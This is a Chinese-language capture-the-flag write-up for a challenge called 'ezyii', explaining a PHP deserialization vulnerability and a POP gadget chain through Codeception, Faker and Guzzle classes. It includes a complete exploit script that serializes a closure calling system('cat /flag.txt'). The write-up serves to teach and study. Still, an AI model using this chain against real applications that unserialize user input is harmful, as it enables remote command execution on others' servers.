ezyii

知识点

  1. php反序列化漏洞
  2. Yii2 反序列化漏洞

我的解题过程

思路

  • 先简单审计index.php
//index.php
<?php
    include("closure/autoload.php");
    function myloader($class){
        require_once './class/' . (str_replace('\\', '/', $class) . '.php');
    }
    spl_autoload_register("myloader"); 
    error_reporting(0);
    if($_POST['data']){
        unserialize(base64_decode($_POST['data']));
    }else{
        echo "<h1>某ii最新的某条链子</h1>";
}
  • index.php里的unserialize(base64_decode($_POST['data']));是解题的入口
//DefaultGenerator.php
<?php
namespace Faker;

class DefaultGenerator
{
    protected $default;
    public function __call($method, $attributes)
    {
        return $this->default;
    }
}
  • 在DefaultGenerator.php中发现__call()方法,我们的思路是先找到一个可以调用DefaultGenerator类中__call()方法的类,然后将__call()方法作为跳板来调用可以执行敏感函数并且参数可控的类。难点在于找到合适的类

可利用的类

1.RunProcess.php

<?php
namespace Codeception\Extension;

class RunProcess
{
    protected $output;
    protected $config = ['sleep' => 0];

    protected static $events = [];

    private $processes = [];
    public function __destruct()
    {
        $this->stopProcess();
    }

    public function stopProcess()
    {
        foreach (array_reverse($this->processes) as $process) {

            if (!$process->isRunning()) {
                continue;
            }
            $this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
            $process->stop();
        }
        $this->processes = [];
    }
}
  • RunProcess.php中的 $this->output->debug(),$this->output 可控,当 $this->output 是DefaultGenerator类的对象 $p 时,这里就变成了 $p->debug() ,因为DefaultGenerator类中没有debug()函数,所以它就会调用__call()方法
  • $process->isRunning() 也类似( $process 就是$this->processes,它也是可控的)

2.PumpStream.php

<?php
namespace GuzzleHttp\Psr7;

class PumpStream
{
    private function pump($length)
    {
        if ($this->source) {
            do {
                $data = call_user_func($this->source, $length);
                if ($data === false || $data === null) {
                    $this->source = null;
                    return;
                }
                $this->buffer->write($data);
                $length -= strlen($data);
            } while ($length > 0);
        }
    }
}
  • PumpStream.php中的 call_user_func($this->source, $length) 函数第一个参数可控,但是第二个参数不可控,我到这里就不知道咋办了,先留着吧,到时候看大佬的wp

POP链

  • RunProcess::$this->output->debug() ==> DefaultGenerator::__call() ==> 参数可控的可执行敏感函数的类(我就卡到这里了)

大佬的解题过程

EXP

  • 先放exp,然后再一步一步分析
<?php
namespace Codeception\Extension{
    use Faker\DefaultGenerator;
    use GuzzleHttp\Psr7\AppendStream;

    class  RunProcess{
        protected $output;
        private $processes = [];
        public function __construct(){
            $this->processes[]=new DefaultGenerator(new AppendStream());
            $this->output=new DefaultGenerator('jiang');
        }
    }
    echo base64_encode(serialize(new RunProcess()));
}
namespace Faker{
    class DefaultGenerator
    {
        protected $default;
        public function __construct($default = null)
        {
            $this->default = $default;
        }
    }
}
namespace GuzzleHttp\Psr7{
    use Faker\DefaultGenerator;
    final class AppendStream{
        private $streams = [];
        private $seekable = true;
        public function __construct(){
            $this->streams[]=new CachingStream();
        }
    }
    final class CachingStream{
        private $remoteStream;
        public function __construct(){
            $this->remoteStream=new DefaultGenerator(false);
            $this->stream=new  PumpStream();
        }
    }
    final class PumpStream{
        private $source;
        private $size=-10;
        private $buffer;

        public function __construct(){
            $this->buffer=new DefaultGenerator('j');

            include("closure/autoload.php");

            $a = function(){system('cat /flag.txt');};
            $a = \Opis\Closure\serialize($a);
            $b = unserialize($a);

            $this->source=$b;
        }
    }
}

分析

  1. 整个链的入口是RunProcess类中的$this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());$process可控,利用$process->getCommandLine());可以跳转到DefaultGenerator类中,然后触发__call()方法
  2. 这个__call()方法返回值可控,就可以跳转到AppendStream类中,AppendStream类有__toString()方法,'[RunProcess] Stopping ' . $process->getCommandLine()这里将字符串与AppendStream类的对象连接,就会执行__toString()方法
  3. __toString()方法依次调用自己类中的rewind()方法、seek()方法,利用可控的$this->streams,跳转到CachingStream类中的rewind()方法,然后会依次调用seek()方法、read()方法
  4. CachingStream类中的read()方法的$this->stream可控,利用这点可以跳转到PumpStream类中的read()方法,然后该方法会自东调用pump()方法,而pump()方法里面又敏感函数call_user_func(),整个利用连就完成了
  • 在构造利用链的时候注意要满足类跳转和函数执行的条件

文章作者: MissPower007
文章链接: http://time.pings.fun
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 MissPower007 !
评论
  目录